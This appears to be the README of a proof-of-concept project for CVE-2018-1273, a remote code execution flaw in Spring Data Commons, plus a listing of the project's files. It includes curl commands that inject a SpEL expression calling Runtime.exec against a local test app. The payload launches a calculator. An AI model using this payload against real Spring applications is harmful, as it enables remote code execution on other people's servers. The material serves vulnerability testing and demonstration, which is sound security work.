# CVE-2018-1273
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
More information [here](https://pivotal.io/security/cve-2018-1273)
# Running
The application can be tested with the vulnerable version or the fixed version of Spring Data Commons.
* Vulnerable version (by default):
```
mvn spring-boot:run
```
* Fixed version:
```
mvn spring-boot:run -Dfixed
```
# Testing the vulnerability
Run the following command to check if the vulnerability can be exploited:
* On Windows:
```
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
```
* On MacOs:
```
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
```
# Credits
Created by https://www.arima.eu

[4.0K] /data/pocs/7f9f977ca4e9af0948cb5c37a96988c365961493
├── [ 11K] LICENSE
├── [6.3K] mvnw
├── [4.9K] mvnw.cmd
├── [2.1K] pom.xml
├── [1.3K] README.md
└── [4.0K] src
├── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] eu
│ │ └── [4.0K] arima
│ │ └── [4.0K] poccve20181273
│ │ ├── [ 331] PocCve20181273Application.java
│ │ └── [ 548] VulnerableController.java
│ └── [4.0K] resources
│ └── [ 0] application.properties
└── [4.0K] test
└── [4.0K] java
└── [4.0K] eu
└── [4.0K] arima
└── [4.0K] poccve20181273
└── [ 348] PocCve20181273ApplicationTests.java
12 directories, 9 files